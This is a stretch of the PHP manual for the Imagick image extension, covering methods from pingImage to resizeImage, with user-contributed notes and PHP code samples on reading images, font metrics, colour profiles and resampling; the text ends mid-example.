Looking at the fuzz option on ImageMagick's site (http://www.imagemagick.org/script/command-line-options.php#fuzz), "The distance can be in absolute intensity units or, by appending % as a percentage of the maximum possible intensity (255, 65535, or 4294967295)."

As it requires a float, the percentage value won't work so it actually one of the max intensity values.  In my case, the images I was working with seemed to have max intensity values of 65535.  So a fuzz of 6500, for roughly 10%, seemed to do the trick.

The part that might be problematic though is how do you determine the max intensity of a color/image?  Using a static 6500 would be fine until I would have to convert an image with a max intensity other than 65535.  If it's 255 it would wipe the entire image.  Or fall far short on the fuzz with the larger value.


Fetch basic attributes about the image

  • « Imagick::paintTransparentImage
  • Imagick::pingImageBlob »
  • PHP Manual
  • Imagick
  • Fetch basic attributes about the image

Imagick::pingImage

(PECL imagick 2.0.0)

Imagick::pingImage — Fetch basic attributes about the image

Description

bool Imagick::pingImage ( string $filename )

This method can be used to query image width, height, size, and format without reading the whole image in to memory.

Parameters

filename

The filename to read the information from.

Return Values

Returns TRUE on success.

User Contributed Notes

hello at digitalnature dot eu 01-Aug-2013 08:41
Just a warning: don't use Eero Niemi's code (identifyImage with pingImage) if you just want to get the image width and height, because it will actually be slower than reading the whole image into memory - about 10x slower!

Correct code should be:

<?php

  $image = new Imagick();
  $image->pingImage($file);
  $width = $image->getImageWidth();
  $height = $image->getImageHeight();

?>

(this is around 15 times faster than reading the image in memory)
Sergey 02-Sep-2012 12:06
If you don't sure whether the file exists or not or maybe it's broken, then you should use try - catch construction. It prevents code fails, when code stops execution after call of pingImage (if the file doesn't exist or it's broken).

<?php
$im = new Imagick();
try {
    $im->pingImage('3.jpg');
}
catch(ImagickException $e) {
    echo "image doesn't exist";
}
?>
Eero Niemi (eero at eero dot info) 21-May-2008 04:12
Actually the previous example causes file to be loaded twice on Imagick's stack, proper way to do this is:

<?php

$file = 'foo.jpg';
$image = new Imagick();
$image->pingImage($file);
$image_info = $image->identifyImage();

?>


Quickly fetch attributes

  • « Imagick::pingImage
  • Imagick::pingImageFile »
  • PHP Manual
  • Imagick
  • Quickly fetch attributes

Imagick::pingImageBlob

(PECL imagick 2.0.0)

Imagick::pingImageBlob — Quickly fetch attributes

Description

bool Imagick::pingImageBlob ( string $image )

This method can be used to query image width, height, size, and format without reading the whole image to memory. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

image

A string containing the image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::pingImageBlob()

Pinging an image from a string

<?php
/* read image contents */
$image = file_get_contents("test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the string to the imagick object */
$im->pingImageBlob($image);

/* output image width and height */
echo $im->getImageWidth() . 'x' . $im->getImageHeight();
?>

See Also

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageFile() - Get basic image attributes in a lightweight manner
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - Reads image from a binary string
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.


Get basic image attributes in a lightweight manner

  • « Imagick::pingImageBlob
  • Imagick::polaroidImage »
  • PHP Manual
  • Imagick
  • Get basic image attributes in a lightweight manner

Imagick::pingImageFile

(PECL imagick 2.0.0)

Imagick::pingImageFile — Get basic image attributes in a lightweight manner

Description

bool Imagick::pingImageFile ( resource $filehandle [, string $fileName ] )

This method can be used to query image width, height, size, and format without reading the whole image to memory. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

filehandle

An open filehandle to the image.

fileName

Optional filename for this image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::pingImageFile()

Opening a remote location

<?php
/* fopen a remote location */
$fp = fopen("http://example.com/test.jpg");

/* create new imagick object */
$im = new Imagick();

/* pass the handle to imagick */
$im->pingImageFile($fp);
?>

See Also

  • Imagick::pingImage() - Fetch basic attributes about the image
  • Imagick::pingImageBlob() - Quickly fetch attributes
  • Imagick::readImage() - Reads image from filename
  • Imagick::readImageBlob() - Reads image from a binary string
  • Imagick::readImageFile() - Reads image from open filehandle

User Contributed Notes

There are no user contributed notes for this page.


Simulates a Polaroid picture

  • « Imagick::pingImageFile
  • Imagick::posterizeImage »
  • PHP Manual
  • Imagick
  • Simulates a Polaroid picture

Imagick::polaroidImage

(PECL imagick 2.0.0)

Imagick::polaroidImage — Simulates a Polaroid picture

Description

bool Imagick::polaroidImage ( ImagickDraw $properties , float $angle )

Simulates a Polaroid picture. This method is available if Imagick has been compiled against ImageMagick version 6.3.2 or newer.

Parameters

properties

The polaroid properties

angle

The polaroid angle

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::polaroidImage() example

An example of using Imagick::polaroidImage()

<?php
/* Create the object */
$image = new Imagick('source.png');

/* Set the opacity */
$image->polaroidImage(new ImagickDraw(), 25);

/* output the image */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Reduces the image to a limited number of color level

  • « Imagick::polaroidImage
  • Imagick::previewImages »
  • PHP Manual
  • Imagick
  • Reduces the image to a limited number of color level

Imagick::posterizeImage

(PECL imagick 2.0.0)

Imagick::posterizeImage — Reduces the image to a limited number of color level

Description

bool Imagick::posterizeImage ( int $levels , bool $dither )

Reduces the image to a limited number of color level.

Parameters

levels

dither

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Quickly pin-point appropriate parameters for image processing

  • « Imagick::posterizeImage
  • Imagick::previousImage »
  • PHP Manual
  • Imagick
  • Quickly pin-point appropriate parameters for image processing

Imagick::previewImages

(PECL imagick 2.0.0)

Imagick::previewImages — Quickly pin-point appropriate parameters for image processing

Description

bool Imagick::previewImages ( int $preview )

Tiles 9 thumbnails of the specified image with an image processing operation applied at varying strengths. This is helpful to quickly pin-point an appropriate parameter for an image processing operation.

Parameters

preview

Preview type. See Preview type constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Move to the previous image in the object

  • « Imagick::previewImages
  • Imagick::profileImage »
  • PHP Manual
  • Imagick
  • Move to the previous image in the object

Imagick::previousImage

(PECL imagick 2.0.0)

Imagick::previousImage — Move to the previous image in the object

Description

bool Imagick::previousImage ( void )

Assocates the previous image in an image list with the Imagick object.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Adds or removes a profile from an image

  • « Imagick::previousImage
  • Imagick::quantizeImage »
  • PHP Manual
  • Imagick
  • Adds or removes a profile from an image

Imagick::profileImage

(PECL imagick 2.0.0)

Imagick::profileImage — Adds or removes a profile from an image

Description

bool Imagick::profileImage ( string $name , string $profile )

Adds or removes a ICC, IPTC, or generic profile from an image. If the profile is NULL, it is removed from the image otherwise added. Use a name of '*' and a profile of NULL to remove all profiles from the image.

Parameters

name

profile

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

dadima, gmail 06-Apr-2014 05:07
If profileImage() seems to be doing nothing — and "inverted colors" during a CMYK > RGB conversion is a sign of this — check that ImageMagick has the lcms delegate available.
From a command prompt:
convert -list configure | grep DELEGATES

If you don't see lcms in the list then Imagick won't do any color profile conversions, and won't give any warnings about this.  In that case, install the Little CMS library ( http://www.littlecms.com/ ) and recompile ImageMagick.
gavin at softyolk dot com 12-Jul-2009 01:28
Thanks for this very valuable information.
For a further push in the correct direction please
consider that you have to download the profiles,

and your most likely sources are:

http://www.color.org/srgbprofiles.xalter

and

http://www.adobe.com/support/downloads/product.jsp?product=62&platform=Windows

Note that the profiles are free, but you must install them
to make them available on you host system.
Eero Niemi (eero at eero dot info) 29-Apr-2008 04:01
If you need to convert images that are on CMYK format into RGB and want to preserve colour information, this may be helpful:

<?php
$image = new Imagick("CMYK_image.jpg"); // load image
$profiles = $image->getImageProfiles('*', false); // get profiles
$has_icc_profile = (array_search('icc', $profiles) !== false); // we're interested if ICC profile(s) exist

if ($has_icc_profile === false)
{
  // image does not have CMYK ICC profile, we add one
  $icc_cmyk = file_get_contents('/path/to/icc/SomeCMYKProfile.icc');
  $image->profileImage('icc', $icc_cmyk);
}

// Then we need to add RGB profile
$icc_rgb = file_get_contents('/path/to/icc/SomeRGBProfile.icc');
$image->profileImage('icc', $icc_rgb);

$image->setImageColorSpace(Imagick::COLORSPACE_RGB);

$image->writeImage("RGB_image.jpg");

?>

There may be better and more elegant ways to do this, but hope this helped.


Analyzes the colors within a reference image

  • « Imagick::profileImage
  • Imagick::quantizeImages »
  • PHP Manual
  • Imagick
  • Analyzes the colors within a reference image

Imagick::quantizeImage

(PECL imagick 2.0.0)

Imagick::quantizeImage — Analyzes the colors within a reference image

Description

bool Imagick::quantizeImage ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )

Parameters

numberColors

colorspace

treedepth

dither

measureError

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Analyzes the colors within a sequence of images

  • « Imagick::quantizeImage
  • Imagick::queryFontMetrics »
  • PHP Manual
  • Imagick
  • Analyzes the colors within a sequence of images

Imagick::quantizeImages

(PECL imagick 2.0.0)

Imagick::quantizeImages — Analyzes the colors within a sequence of images

Description

bool Imagick::quantizeImages ( int $numberColors , int $colorspace , int $treedepth , bool $dither , bool $measureError )

Parameters

numberColors

colorspace

treedepth

dither

measureError

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representing the font metrics

  • « Imagick::quantizeImages
  • Imagick::queryFonts »
  • PHP Manual
  • Imagick
  • Returns an array representing the font metrics

Imagick::queryFontMetrics

(PECL imagick 2.0.0)

Imagick::queryFontMetrics — Returns an array representing the font metrics

Description

array Imagick::queryFontMetrics ( ImagickDraw $properties , string $text [, bool $multiline ] )

Returns a multi-dimensional array representing the font metrics.

Parameters

properties

ImagickDraw object containing font properties

text

The text

multiline

Multiline parameter. If left empty it is autodetected

Return Values

Returns a multi-dimensional array representing the font metrics.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::queryFontMetrics():

Query the metrics for the text and dump the results on the screen.

<?php
/* Create a new Imagick object */
$im = new Imagick();

/* Create an ImagickDraw object */
$draw = new ImagickDraw();

/* Set the font */
$draw->setFont('/path/to/font.ttf');

/* Dump the font metrics, autodetect multiline */
var_dump($im->queryFontMetrics($draw, "Hello World!"));
?>

User Contributed Notes

SkepticaLee 05-Feb-2014 02:34
The values do not match the array descriptors at all. If you have to know exactly how much space is being taken up by an annotation, use the following:

<?php
$text = "Algbqdj";
$im = new Imagick ();
$draw = new ImagickDraw ();
$draw->setStrokeColor ("none");
$draw->setFont ("Arial");
$draw->setFontSize (96);
$draw->setTextAlignment (Imagick::ALIGN_LEFT);
$metrics = $im->queryFontMetrics ($draw, $text);
//these are the values which accurately described the extent of the text and where it is to be drawn:
$baseline = $metrics['boundingBox']['y2'];
$textwidth = $metrics['textWidth'] + 2 * $metrics['boundingBox']['x1'];
$textheight = $metrics['textHeight'] + $metrics['descender'];
$draw->annotation (0, $baseline, $text);
$im->newImage ($textwidth, $textheight, "white");
$im->drawImage ($draw);
$draw->clear ();
$im->writeImage ("test.png");
$im->clear ();
?>

The file test.png should now contain pretty much the complete text with no borders. This may not work for very unusual fonts, but will work OK for Times New Roman and Arial.
jlong at carouselchecks dot com 30-May-2013 11:02
Example output from queryFontMetrics:

Array
(
    [characterWidth] => 9
    [characterHeight] => 9
    [ascender] => 9
    [descender] => -2
    [textWidth] => 71
    [textHeight] => 10
    [maxHorizontalAdvance] => 12
    [boundingBox] => Array
        (
            [x1] => 0
            [y1] => -2
            [x2] => 6.890625
            [y2] => 7
        )

    [originX] => 70
    [originY] => 0
)
abcrdw at gmail dot com 18-Sep-2011 07:49
This script will print a watermark on the middle of an image. The width of the watermark will depend on the width of the image.

<?php
// Create a new Imagick object
$objImage = new Imagick( 'path/to/image.jpg' );

// Get the width and height of the image
$imgSize   = $objImage->getImageGeometry();
$imgWidth  = $imgSize['width'];
$imgHeight = $imgSize['height'];

// Create a new text object
$objText = new ImagickDraw();

// Set te text color
$objText->setFillColor( new ImagickPixel('grey') );

// Set the text transparency: 0 = transparent, 1 = opaque
$objText->setFillAlpha( 0.2 );

// Top left will be point of reference
$objText->setGravity( Imagick::GRAVITY_NORTHWEST );

// Create an array for the textwidth and textheight
$textProperties = array( 'textWidth' => 0 );

// Set the desired width of the watermark to 90% of the image width
$textDesiredWidth = intval( $imgWidth * 0.9 );

// Set an initial value for the fontsize, will be increased in the loop below
$fontSize = 0;

// We use the domain name of the server for the watermark text
$text = $_SERVER['SERVER_NAME'];

// Increase the fontsize until we have reached our desired width
while ( $textProperties['textWidth'] <= $textDesiredWidth ) {
    $objText->setFontSize( $fontSize );
    $textProperties = $objImage->queryFontMetrics( $objText, $text );
    $fontSize++;
}

// Calculate the horizontal starting position
$watermarkPosX = intval( ($imgWidth - $textProperties['textWidth']) / 2 );

// Calculate the vertical starting position
$watermarkPosY = floor( ($imgHeight - $textProperties['textHeight']) / 2 );

// Composite the text on the image
$objImage->annotateImage( $objText, $watermarkPosX, $watermarkPosY, 0, $text );

// The browser must know this is JPEG image or else it will display garbled text
header( 'Content-Type: image/jpeg' );

// Display the image
echo $objImage;
?>
thok nojunk at spammail thok dot ca 03-Jan-2011 10:49
The following fields constitute my current PHP 5.2.1/Imagick 6.5.1 queryFontMetrics() return array (once setFontSize() and setFont() have been set):

characterWidth: maximum character ("em") width
characterHeight: maximum character height
ascender: the height of character ascensions (i.e. the straight bit on a 'b')
descender: the height of character descensions (i.e. the straight bit on a 'p')
textWidth: width of drawn text in pixels
textHeight: height of drawn text in pixels
maxHorizontalAdvance: maximum pixels from start of one character to start of the next
boundingBox: array of x1, y1, x2, y2 bounding borders
originX, originY: ?

originX seems to shadow the textWidth field, and originY has been zero thus far in my exploration.

If you're looking to center text or locate it at an edge, though, use ImagickDraw::setGravity(int $gravity), where $gravity is one of the following constants:

Imagick::GRAVITY_NORTHWEST
Imagick::GRAVITY_NORTH
Imagick::GRAVITY_NORTHEAST
Imagick::GRAVITY_WEST
Imagick::GRAVITY_CENTER
Imagick::GRAVITY_EAST
Imagick::GRAVITY_SOUTHWEST
Imagick::GRAVITY_SOUTH
Imagick::GRAVITY_SOUTHEAST

Using setGravity() is far less finicky for the simpler tasks.
george at sogetthis dot com 22-Nov-2010 12:44
Up to and including imagick 3.0.1, queryfontmetrics would output size data based on an image resolution of 72x72. (see bug: http://pecl.php.net/bugs/bug.php?id=19907)

Should you have set a resolution other than this and be using 3.0.1 or below, you need to scale measurements up by a factor of YOUR_RESOLUTION / 72

e.g. assuming you've set a resolution of 300
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72 * (300 / 72));
$data = $im->queryfontmetrics($draw, 'hello world');
var_dump($data);
?>

In 3.0.2 and above, the solution is to set the resolution on the draw object to that of the image resolution
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setResolution(300,300);
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72);
$draw->setFillColor('#ff0000');
$data = $im->queryFontMetrics($draw, $string);

var_dump($data);
?>
Pete &#39;the Pete&#39; de Pijd 29-Jun-2009 03:18
You can also use $imagickDraw()->setTextAlignmnent(Imagick::ALIGN_CENTER) and $imagickDraw->annotation(..) instead.
waage 30-Jan-2008 04:57
You can use this to center a text within a box

<?php

$data = "Hello world";

$text = new ImagickDraw();
$text->setFontSize(12);
$text->setFont("Arial");

$boxWidth = 210;

$im = new Imagick();

$fm = $im->queryFontMetrics($text, $data, false);

$textXLoc = ($boxWidth / 2) - ($fm["textWidth"] / 2);

?>

$textXLoc is now the starting location you need to use to feed to your annotateImage() function.


Returns the configured fonts

  • « Imagick::queryFontMetrics
  • Imagick::queryFormats »
  • PHP Manual
  • Imagick
  • Returns the configured fonts

Imagick::queryFonts

(PECL imagick 2.0.0)

Imagick::queryFonts — Returns the configured fonts

Description

array Imagick::queryFonts ([ string $pattern = "*" ] )

Returns the configured fonts.

Parameters

pattern

The query pattern

Return Values

Returns an array containing the configured fonts.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns formats supported by Imagick

  • « Imagick::queryFonts
  • Imagick::radialBlurImage »
  • PHP Manual
  • Imagick
  • Returns formats supported by Imagick

Imagick::queryFormats

(PECL imagick 2.0.0)

Imagick::queryFormats — Returns formats supported by Imagick

Description

array Imagick::queryFormats ([ string $pattern = "*" ] )

Returns formats supported by Imagick.

Parameters

pattern

Return Values

Returns an array containing the formats supported by Imagick.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Radial blurs an image

  • « Imagick::queryFormats
  • Imagick::raiseImage »
  • PHP Manual
  • Imagick
  • Radial blurs an image

Imagick::radialBlurImage

(PECL imagick 2.0.0)

Imagick::radialBlurImage — Radial blurs an image

Description

bool Imagick::radialBlurImage ( float $angle [, int $channel = Imagick::CHANNEL_ALL ] )

Radial blurs an image.

Parameters

angle

channel

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Creates a simulated 3d button-like effect

  • « Imagick::radialBlurImage
  • Imagick::randomThresholdImage »
  • PHP Manual
  • Imagick
  • Creates a simulated 3d button-like effect

Imagick::raiseImage

(PECL imagick 2.0.0)

Imagick::raiseImage — Creates a simulated 3d button-like effect

Description

bool Imagick::raiseImage ( int $width , int $height , int $x , int $y , bool $raise )

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

Parameters

width

height

x

y

raise

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Creates a high-contrast, two-color image

  • « Imagick::raiseImage
  • Imagick::readImage »
  • PHP Manual
  • Imagick
  • Creates a high-contrast, two-color image

Imagick::randomThresholdImage

(PECL imagick 2.0.0)

Imagick::randomThresholdImage — Creates a high-contrast, two-color image

Description

bool Imagick::randomThresholdImage ( float $low , float $high [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

low

The low point

high

The high point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Reads image from filename

  • « Imagick::randomThresholdImage
  • Imagick::readImageBlob »
  • PHP Manual
  • Imagick
  • Reads image from filename

Imagick::readImage

(PECL imagick 0.9.0-0.9.9)

Imagick::readImage — Reads image from filename

Description

bool Imagick::readImage ( string $filename )

Reads image from filename

Parameters

filename

Return Values

Returns TRUE on success.

User Contributed Notes

holdoffhunger at gmail dot com 11-Jan-2013 12:50
What is the difference between ReadImage and ReadImageFile?  Based by looking at the pages, you would think that they behave the exact same, except in their arguments: ReadImage takes a string containing the folder location of the file, and ReadImageFile takes a handle pointing to the file location.  Initially, the first looks far more tempting, since you don't have to worry about fopen and fclose commands.

But, there is a problem with the ReadImage function!  With an imagemagick object whose data was created from this function, I could scale, change the colors, and perform artistic effects upon the object, without any problems at all, but then there was a problem with saving: it seemed to be keep me stuck to the image format of the original image (in this case, a ".jpg", but it may be different elsewhere).  The functions setImageFormat and setFormat, programmed line after line, provided no effect to changing the format to png, bmp, or gif.  When the only line of code I changed was ReadImage to ReadImageFile, the problem disappears entirely.

Some sample code to demonstrate (using PHP Version 5.2.17).  Input Filename: test.jpg.  Output Filenames: test_result_bad.bmp, test_result_bad.png, test_result_good.bmp, test_result_good.png.  The resultant filesizes should be enough to convince you that all bad files are merely duplicate jpgs...

<?php

            // Author: holdoffhunger@gmail.com

        // Preset Image Location
        // ------------------------------

    $image_file_location = "test.jpg";

        // Create Objects
        // ------------------------------

    $imagick_type_bad = new Imagick();
    $imagick_type_good = new Imagick();

        // Grab Data - BAD METHOD
        // ------------------------------

    $imagick_type_bad->readImage($image_file_location);

        // Grab Data - GOOD METHOD
        // ------------------------------

    $file_handle_for_viewing_image = fopen($image_file_location, 'a+');

    $imagick_type_good->readImageFile($file_handle_for_viewing_image);

    fclose($file_handle_for_viewing_image);

        // Save File - BAD DATA
        // ------------------------------

    $file_handle_for_saving_bad_bmp = fopen("test_result_bad.bmp", 'a+');

    $imagick_type_bad_bmp = clone $imagick_type_bad;
    $imagick_type_bad_bmp->setImageFormat("bmp");
    $imagick_type_bad_bmp->setFormat("bmp");
    $imagick_type_bad_bmp->writeImageFile($file_handle_for_saving_bad_bmp);

    fclose($file_handle_for_saving_bad_bmp);

    $file_handle_for_saving_bad_png = fopen("test_result_bad.png", 'a+');

    $imagick_type_bad_png = clone $imagick_type_bad;
    $imagick_type_bad_png->setImageFormat("png");
    $imagick_type_bad_png->setFormat("png");
    $imagick_type_bad_png->writeImageFile($file_handle_for_saving_bad_png);

    fclose($file_handle_for_saving_bad_png);

        // Save File - Good DATA
        // ------------------------------

    $file_handle_for_saving_good_bmp = fopen("test_result_good.bmp", 'a+');

    $imagick_type_good_bmp = clone $imagick_type_good;
    $imagick_type_good_bmp->setImageFormat("bmp");
    $imagick_type_good_bmp->setFormat("bmp");
    $imagick_type_good_bmp->writeImageFile($file_handle_for_saving_good_bmp);

    fclose($file_handle_for_saving_good_bmp);

    $file_handle_for_saving_good_png = fopen("test_result_good.png", 'a+');

    $imagick_type_good_png = clone $imagick_type_good;
    $imagick_type_good_png->setImageFormat("png");
    $imagick_type_good_png->setFormat("png");
    $imagick_type_good_png->writeImageFile($file_handle_for_saving_good_png);

    fclose($file_handle_for_saving_good_png);

?>
markus dot s dot schmitz at gmail dot com 11-Dec-2012 07:43
Use this to convert all pages of a PDF to JPG:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf');
$imagick->writeImages('converted.jpg', false);
?>

If you need better quality, try adding $imagick->setResolution(150, 150); before reading the file!

If you experience transparency problems when converting PDF to JPEG (black background), try flattening your file:

<?php
$imagick = new Imagick();
$imagick->readImage('myfile.pdf[0]');
$imagick = $imagick->flattenImages();
$imagick->writeFile('pageone.jpg');
?>

In order to read pages from a PDF-file use [PAGENUMBER] after the filename (pages start from zero!).

Example: Read page #1 from test.pdf

<?php
$imagick = new Imagick();
$imagick->readImage('test.pdf[0]');
$imagick->writeImage('page_one.jpg');
?>


Reads image from a binary string

  • « Imagick::readImage
  • Imagick::readImageFile »
  • PHP Manual
  • Imagick
  • Reads image from a binary string

Imagick::readImageBlob

(PECL imagick 2.0.0)

Imagick::readImageBlob — Reads image from a binary string

Description

bool Imagick::readImageBlob ( string $image [, string $filename ] )

Reads image from a binary string

Parameters

image

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Reads image from open filehandle

  • « Imagick::readImageBlob
  • Imagick::recolorImage »
  • PHP Manual
  • Imagick
  • Reads image from open filehandle

Imagick::readImageFile

(PECL imagick 2.0.0)

Imagick::readImageFile — Reads image from open filehandle

Description

bool Imagick::readImageFile ( resource $filehandle [, string $fileName = null ] )

Reads image from open filehandle

Parameters

filehandle

fileName

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

ben dot james at acknowledgement dot co dot uk 26-Dec-2008 10:00
An example of reading an image file from a URL, using a handle returned by fopen():

<?php
$handle = fopen('http://example.com/foo.jpg', 'rb');
$img = new Imagick();
$img->readImageFile($handle);
$img->resizeImage(128, 128, 0, 0);
$img->writeImage('images/foo.jpg');
?>


Recolors image

  • « Imagick::readImageFile
  • Imagick::reduceNoiseImage »
  • PHP Manual
  • Imagick
  • Recolors image

Imagick::recolorImage

(No version information available, might only be in Git)

Imagick::recolorImage — Recolors image

Description

bool Imagick::recolorImage ( array $matrix )

Translate, scale, shear, or rotate image colors. This method supports variable sized matrices but normally 5x5 matrix is used for RGBA and 6x6 is used for CMYK. The last row should contain the normalized values. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

matrix

The matrix containing the color values

Return Values

Returns TRUE on success.

See Also

  • Imagick::displayImage() - Displays an image

User Contributed Notes

softmixt at gmail dot com 02-May-2013 08:59
Simple example :

<?php

$image = new Imagick('test.jpg');

$CMYK_color_model = array(0,100,0,0);

$image->recolorImage($CMYK_color_model) ;

header('Content-type: image/jpg');

echo $image
?>


Smooths the contours of an image

  • « Imagick::recolorImage
  • Imagick::remapImage »
  • PHP Manual
  • Imagick
  • Smooths the contours of an image

Imagick::reduceNoiseImage

(PECL imagick 2.0.0)

Imagick::reduceNoiseImage — Smooths the contours of an image

Description

bool Imagick::reduceNoiseImage ( float $radius )

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Imagick::reduceNoiseImage() selects a suitable radius for you.

Parameters

radius

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Remaps image colors

  • « Imagick::reduceNoiseImage
  • Imagick::removeImage »
  • PHP Manual
  • Imagick
  • Remaps image colors

Imagick::remapImage

(No version information available, might only be in Git)

Imagick::remapImage — Remaps image colors

Description

public bool Imagick::remapImage ( Imagick $replacement , int $DITHER )

Replaces colors an image with those defined by replacement. The colors are replaced with the closest possible color. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

replacement

An Imagick object containing the replacement colors

DITHER

Refer to this list of dither method constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Removes an image from the image list

  • « Imagick::remapImage
  • Imagick::removeImageProfile »
  • PHP Manual
  • Imagick
  • Removes an image from the image list

Imagick::removeImage

(PECL imagick 2.0.0)

Imagick::removeImage — Removes an image from the image list

Description

bool Imagick::removeImage ( void )

Removes an image from the image list.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Removes the named image profile and returns it

  • « Imagick::removeImage
  • Imagick::render »
  • PHP Manual
  • Imagick
  • Removes the named image profile and returns it

Imagick::removeImageProfile

(PECL imagick 2.0.0)

Imagick::removeImageProfile — Removes the named image profile and returns it

Description

string Imagick::removeImageProfile ( string $name )

Removes the named image profile and returns it.

Parameters

name

Return Values

Returns a string containing the profile of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Renders all preceding drawing commands

  • « Imagick::removeImageProfile
  • Imagick::resampleImage »
  • PHP Manual
  • Imagick
  • Renders all preceding drawing commands

Imagick::render

(PECL imagick 2.0.0)

Imagick::render — Renders all preceding drawing commands

Description

bool Imagick::render ( void )

Renders all preceding drawing commands.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Resample image to desired resolution

  • « Imagick::render
  • Imagick::resetImagePage »
  • PHP Manual
  • Imagick
  • Resample image to desired resolution

Imagick::resampleImage

(PECL imagick 2.0.0)

Imagick::resampleImage — Resample image to desired resolution

Description

bool Imagick::resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur )

Resample image to desired resolution.

Parameters

x_resolution

y_resolution

filter

blur

Return Values

Returns TRUE on success.

User Contributed Notes

bleighty at dvidshub dot net 22-Nov-2013 11:53
Please note that blur of 1 should not affect the image if I'm understanding correctly from this page:
http://www.php.net/manual/en/imagick.resizeimage.php
anagai at yahoo dot com 02-Dec-2011 09:14
Lets say you want to reduce the resolution of uploaded images for the web.

The following will load a image at whatever resolution and resample it down to 72 dpi and save as a different file.

The dpi for setImageResolution() and resampleImage() should be whatever dpi your resampling too.

<?php
$image = new Imagick();
$image->readImage('image.jpg');
$image->setImageResolution(72,72);
$image->resampleImage(72,72,imagick::FILTER_UNDEFINED,0);
$image->writeImage('image72.jpg');
?>


Reset image page

  • « Imagick::resampleImage
  • Imagick::resizeImage »
  • PHP Manual
  • Imagick
  • Reset image page

Imagick::resetImagePage

(No version information available, might only be in Git)

Imagick::resetImagePage — Reset image page

Description

bool Imagick::resetImagePage ( string $page )

The page definition as a string. The string is in format WxH+x+y. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

page

The page definition. For example 7168x5147+0+0

Return Values

Returns TRUE on success.

User Contributed Notes

Roman T. 17-Oct-2012 02:45
This function seems to do the same thing as photoshop feture convas size, you set size of convas and position of your image's top left corner (x,y) inside that convas.


Scales an image

  • « Imagick::resetImagePage
  • Imagick::rollImage »
  • PHP Manual
  • Imagick
  • Scales an image

Imagick::resizeImage

(PECL imagick 2.0.0)

Imagick::resizeImage — Scales an image

Description

bool Imagick::resizeImage ( int $columns , int $rows , int $filter , float $blur [, bool $bestfit = false ] )

Scales an image to the desired dimensions with a filter.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

Width of the image

rows

Height of the image

filter

Refer to the list of filter constants.

blur

The blur factor where > 1 is blurry, < 1 is sharp.

bestfit

Optional fit parameter.

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

User Contributed Notes

Spitfires 04-Mar-2012 06:39
To avoid upscaling when using the "bestfit" param, check the image dimensions before resizing:

<?php
    $image = new Imagick( $filename );
    $imageprops = $image->getImageGeometry();
    if ($imageprops['width'] <= 200 && $imageprops['height'] <= 200) {
